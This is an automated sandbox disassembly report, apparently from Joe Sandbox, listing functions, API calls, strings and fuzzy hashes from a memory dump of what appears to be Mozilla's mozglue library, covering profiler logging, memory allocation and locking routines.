Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeavememset
String ID:
API String ID: 3977402767-0
Opcode ID: 2d77a46ac083772a729bc46feca7983de20244badcb41d0a4781d3444900c112
Instruction ID: 6ccdda1fd07d0bcf3cefe172495bdb57245071551c73d4a4f2f97522582ce33d
Opcode Fuzzy Hash: 2d77a46ac083772a729bc46feca7983de20244badcb41d0a4781d3444900c112
Instruction Fuzzy Hash: E6C19131E01139CBEB248B28CE90BADB772AF51314F1517A9D41EABBC1C731DE858B51

Function 6C979420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C96AB89: EnterCriticalSection.KERNEL32(6C9BE370,?,?,?,6C9334DE,6C9BF6CC,?,?,?,?,?,?,?,6C933284), ref: 6C96AB94
Part of subcall function 6C96AB89: LeaveCriticalSection.KERNEL32(6C9BE370,?,6C9334DE,6C9BF6CC,?,?,?,?,?,?,?,6C933284,?,?,6C9556F6), ref: 6C96ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C944A68), ref: 6C97945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C979470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C979482
__Init_thread_footer.LIBCMT ref: 6C97949F

Strings

MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C979459
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C97946B
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C97947D

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: cb08f6befe2f1483aae78e6cc14f7f8e038f48eea5f345a1bc46c67cf6c0fcb9
Instruction ID: d2d034e9592182874186679e1f3a85df5f3346bedc6aa665abfa2cdbbcc5c37a
Opcode Fuzzy Hash: cb08f6befe2f1483aae78e6cc14f7f8e038f48eea5f345a1bc46c67cf6c0fcb9
Instruction Fuzzy Hash: F1014C38A09110A7DF109BADD849A47337AEB4632CF150537DC0687F41E731D464897F

Function 6C980F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C980F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C980F88
GetCurrentThreadId.KERNEL32 ref: 6C980FF7
InitializeConditionVariable.KERNEL32(?), ref: 6C981067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6C9810A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6C98114B

Part of subcall function 6C978AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6C991563), ref: 6C978BD5

free.MOZGLUE(?), ref: 6C981174
free.MOZGLUE(?), ref: 6C981186

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: aefdeb201721fd3c52d60f756f0a4c4042236dcda09a27784c80de55d9881245
Instruction ID: 8153524e2651add8a47989fa8f0a2e4623affa8550c60faa2c415882be28f6f5
Opcode Fuzzy Hash: aefdeb201721fd3c52d60f756f0a4c4042236dcda09a27784c80de55d9881245
Instruction Fuzzy Hash: 7D61DF75A0A3409BDB10CF24C880B9EB7F6BFE6308F14891DE89947712EB31E558CB81

Function 6C93B630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6C93B61E,?,?,?,?,?,00000000), ref: 6C93B6AC

Part of subcall function 6C94CA10: malloc.MOZGLUE(?), ref: 6C94CA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C93B61E,?,?,?,?,?,00000000), ref: 6C93B6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6C93B61E,?,?,?,?,?,00000000), ref: 6C93B6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C93B61E,?,?,?,?,?,00000000), ref: 6C93B70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6C93B61E,?,?,?,?,?,00000000), ref: 6C93B71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6C93B61E), ref: 6C93B73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6C93B61E,?,?,?,?,?,00000000), ref: 6C93B760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6C93B61E,?,?,?,?,?,00000000), ref: 6C93B79A

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: ba62f8b41639d3f8f7c76c3a7752eae5cece021ad96b8cfcc5d83bebf2ef42bf
Instruction ID: 89506bbfd21903b5a8509e06276a9ff62c9b82d4951088476352c00dc65260f0
Opcode Fuzzy Hash: ba62f8b41639d3f8f7c76c3a7752eae5cece021ad96b8cfcc5d83bebf2ef42bf
Instruction Fuzzy Hash: 8D41D6B2D005259FCB14DF68DC845AFB7B9FB54324F250629E82AE7B80D731E9058BD1

Function 6C93EF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6C9B5104), ref: 6C93EFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C93EFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C93EFEC
free.MOZGLUE(?), ref: 6C93F00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C93F02E
memcpy.VCRUNTIME140(00000000,?), ref: 6C93F041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C93F065
moz_xmalloc.MOZGLUE ref: 6C93F072

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: 1eba01b3d12457dca675f163ae5a85617e4625aee1fe630cb151eacbb8f817a7
Instruction ID: c2d06eff8c0be0fc9f1f969e694428258ad0893390b6618849be1b4d5164e231
Opcode Fuzzy Hash: 1eba01b3d12457dca675f163ae5a85617e4625aee1fe630cb151eacbb8f817a7
Instruction Fuzzy Hash: 3A41D8B1A001169FCB08CF68DC809BE7769AF94318B244268E81ADB794EB71ED15C7E1

Function 6C9AB540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C9AB5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C9AB5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C9AB5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C9AB5F4
__Init_thread_footer.LIBCMT ref: 6C9AB605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C9AB61F
std::_Facet_Register.LIBCPMT ref: 6C9AB631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9AB655

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: 9248e5a2efae622990d8541595979244961eb4dbcb957b03076866ed8db9669b
Instruction ID: 47eaee494555714c75d387499752c85f94c2162a260e6d42b396443807413955
Opcode Fuzzy Hash: 9248e5a2efae622990d8541595979244961eb4dbcb957b03076866ed8db9669b
Instruction Fuzzy Hash: A031B379B04204DBCB00DFA9C8989AFB7B5FFDA328B250519D90297780DB34E906CB95

Function 6C949830 Relevance: 10.7, APIs: 7, Instructions: 196COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,6C997ABE), ref: 6C94985B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,6C997ABE), ref: 6C9498A8
moz_xmalloc.MOZGLUE(00000020), ref: 6C949909
memcpy.VCRUNTIME140(00000023,?,?), ref: 6C949918
free.MOZGLUE(?), ref: 6C949975

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: free$_invalid_parameter_noinfo_noreturnmemcpymoz_xmalloc
String ID:
API String ID: 1281542009-0
Opcode ID: 48031c42ef4ceb1443488799665c54de1b0c171b59a93e9764fae07c7be1e945
Instruction ID: 5452b607f5b52eab8752f38dd01d99c65a0e3550fcca903aef9edc768ad94993
Opcode Fuzzy Hash: 48031c42ef4ceb1443488799665c54de1b0c171b59a93e9764fae07c7be1e945
Instruction Fuzzy Hash: 40718B746047068FC725CF2CC580966B7F9FF4A3287258AADE85A8BB90D731F845CB91

Function 6C94B790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C98CC83,?,?,?,?,?,?,?,?,?,6C98BCAE,?,?,6C97DC2C), ref: 6C94B7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C98CC83,?,?,?,?,?,?,?,?,?,6C98BCAE,?,?,6C97DC2C), ref: 6C94B80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6C98CC83,?,?,?,?,?,?,?,?,?,6C98BCAE), ref: 6C94B88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6C98CC83,?,?,?,?,?,?,?,?,?,6C98BCAE,?,?,6C97DC2C), ref: 6C94B896

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: 17755acdc804955f25797b8a811de5e8050a1727c34bcc62a085bf416d7e57c8
Instruction ID: 701b425678588a5d10df3e0486ac655301879064743d0969c69ad040bdc2cc37
Opcode Fuzzy Hash: 17755acdc804955f25797b8a811de5e8050a1727c34bcc62a085bf416d7e57c8
Instruction Fuzzy Hash: EB517C75704A048FCB24CF59C494A2EB7F9FF89318F69859DE98A87381C731E801CB80

Function 6C981D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C981D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C981BE3,?,?,6C981D96,00000000), ref: 6C981D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C981BE3,?,?,6C981D96,00000000), ref: 6C981D4C
GetCurrentThreadId.KERNEL32 ref: 6C981DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C981DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C981DDA

Part of subcall function 6C981EF0: GetCurrentThreadId.KERNEL32 ref: 6C981F03
Part of subcall function 6C981EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C981DF2,00000000,00000000), ref: 6C981F0C
Part of subcall function 6C981EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C981F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C981DF4

Part of subcall function 6C94CA10: malloc.MOZGLUE(?), ref: 6C94CA26

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 0a1ed28fe0a7891aac69b71098fcd4f99bb96ba375db47ab5fca7ba3c0bb92e1
Instruction ID: d54349d0120fd18efee904ce0231d33505ef5a90f3ef9812b3b9812b454fda2a
Opcode Fuzzy Hash: 0a1ed28fe0a7891aac69b71098fcd4f99bb96ba375db47ab5fca7ba3c0bb92e1
Instruction Fuzzy Hash: 4F4167B5205700AFCB10CF29C488B56BBF9FB99718F20446EE95A87B81CB71E814CB94

Function 6C9438A0 Relevance: 10.6, APIs: 7, Instructions: 80memoryCOMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C9BE220,?,?,?,?,6C943899,?), ref: 6C9438B2
ReleaseSRWLockExclusive.KERNEL32(6C9BE220,?,?,?,6C943899,?), ref: 6C9438C3
free.MOZGLUE(00000000,?,00000000,0000002C,?,?,?,6C943899,?), ref: 6C9438F1
RtlFreeHeap.NTDLL ref: 6C943920
RtlFreeUnicodeString.NTDLL(-0000000C,?,?,?,6C943899,?), ref: 6C94392F
RtlFreeUnicodeString.NTDLL(-00000014,?,?,?,6C943899,?), ref: 6C943943
RtlFreeHeap.NTDLL ref: 6C94396E

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Free$ExclusiveHeapLockStringUnicode$AcquireReleasefree
String ID:
API String ID: 3047341122-0
Opcode ID: 13819248f28ee963243cb0ec702a939684772163235fc77ea18406129c87ed39
Instruction ID: aeab237aca7e38b71ab4824cb7e87e8db8281a274c887c794aea610393761e2d
Opcode Fuzzy Hash: 13819248f28ee963243cb0ec702a939684772163235fc77ea18406129c87ed39
Instruction Fuzzy Hash: 13212E72600610EFD720DF35C880B86B7B8FF54328F218429E95A9BB10C735F846CB90

Function 6C9784E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9784F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C97850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C97851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C97855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C97856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9785AC

Part of subcall function 6C977670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C9785B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C97767F
Part of subcall function 6C977670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C9785B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C977693
Part of subcall function 6C977670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C9785B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9776A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C9785B2

Part of subcall function 6C955E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C955EDB
Part of subcall function 6C955E90: memset.VCRUNTIME140(6C997765,000000E5,55CCCCCC), ref: 6C955F27
Part of subcall function 6C955E90: LeaveCriticalSection.KERNEL32(?), ref: 6C955FB2

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: b4a05de29a0ff06987f5fdb69ebd2003da37bc26ce6447bed0ec17dc47ae217b
Instruction ID: e7058d4594062d7693dddc2ecffd31141f83933767761a6289a36119ab0f2e6d
Opcode Fuzzy Hash: b4a05de29a0ff06987f5fdb69ebd2003da37bc26ce6447bed0ec17dc47ae217b
Instruction Fuzzy Hash: C9217F743056019FDB28DB24C888A5BB7B9AF8430CF24482DE55BD3B41DB31F958CB69

Function 6C941640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6C941699
VerSetConditionMask.NTDLL ref: 6C9416CB
VerSetConditionMask.NTDLL ref: 6C9416D7
VerSetConditionMask.NTDLL ref: 6C9416DE
VerSetConditionMask.NTDLL ref: 6C9416E5
VerSetConditionMask.NTDLL ref: 6C9416EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C9416F9

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: 86445d754fbaad6fab85119f7e856f165a8d12a2c76c72f0238426546bd3f4eb
Instruction ID: e38fceeb061e02a366b1dab3ffe844c708dd6380c22336468ce64b74319ef0bc
Opcode Fuzzy Hash: 86445d754fbaad6fab85119f7e856f165a8d12a2c76c72f0238426546bd3f4eb
Instruction Fuzzy Hash: 1021D2B07442087BFB116A64CC89FBB737CEFD6B04F504568F6059B6C0C678DD5486A1

Function 6C97F5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C96CBE8: GetCurrentProcess.KERNEL32(?,6C9331A7), ref: 6C96CBF1
Part of subcall function 6C96CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9331A7), ref: 6C96CBFA

Part of subcall function 6C979420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C944A68), ref: 6C97945E
Part of subcall function 6C979420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C979470
Part of subcall function 6C979420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C979482
Part of subcall function 6C979420: __Init_thread_footer.LIBCMT ref: 6C97949F

GetCurrentThreadId.KERNEL32 ref: 6C97F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C97F598), ref: 6C97F621

Part of subcall function 6C9794D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C9794EE
Part of subcall function 6C9794D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C979508

GetCurrentThreadId.KERNEL32 ref: 6C97F637
AcquireSRWLockExclusive.KERNEL32(6C9BF4B8,?,?,00000000,?,6C97F598), ref: 6C97F645
ReleaseSRWLockExclusive.KERNEL32(6C9BF4B8,?,?,00000000,?,6C97F598), ref: 6C97F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C97F62A

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: ed30f90c80b3174bfebaf3615666b8db4bbb574ebf5571a2c6f7f44c62bccded
Instruction ID: 3b2bc4cc71ebac4f0f121473d84fa36a522d8a3afc62d9164307279babc95345
Opcode Fuzzy Hash: ed30f90c80b3174bfebaf3615666b8db4bbb574ebf5571a2c6f7f44c62bccded
Instruction Fuzzy Hash: EA11C479206204BBCB10AF29C8889A6B77DFF9675CB200015EA0593F41CB71EC21CBB4

Function 6C941FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C96AB89: EnterCriticalSection.KERNEL32(6C9BE370,?,?,?,6C9334DE,6C9BF6CC,?,?,?,?,?,?,?,6C933284), ref: 6C96AB94
Part of subcall function 6C96AB89: LeaveCriticalSection.KERNEL32(6C9BE370,?,6C9334DE,6C9BF6CC,?,?,?,?,?,?,?,6C933284,?,?,6C9556F6), ref: 6C96ABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6C941FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6C941FFD
__Init_thread_footer.LIBCMT ref: 6C942011
FreeLibrary.KERNEL32 ref: 6C942059

Strings

CoCreateInstance, xrefs: 6C941FF7
combase.dll, xrefs: 6C941FD9

Memory Dump Source

Source File: 00000000.00000002.2852119105.000000006C931000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C930000, based on PE: true

Associated: 00000000.00000002.2851990586.000000006C930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852583590.000000006C9AD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852682103.000000006C9BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2852746919.000000006C9C2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c930000_file.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
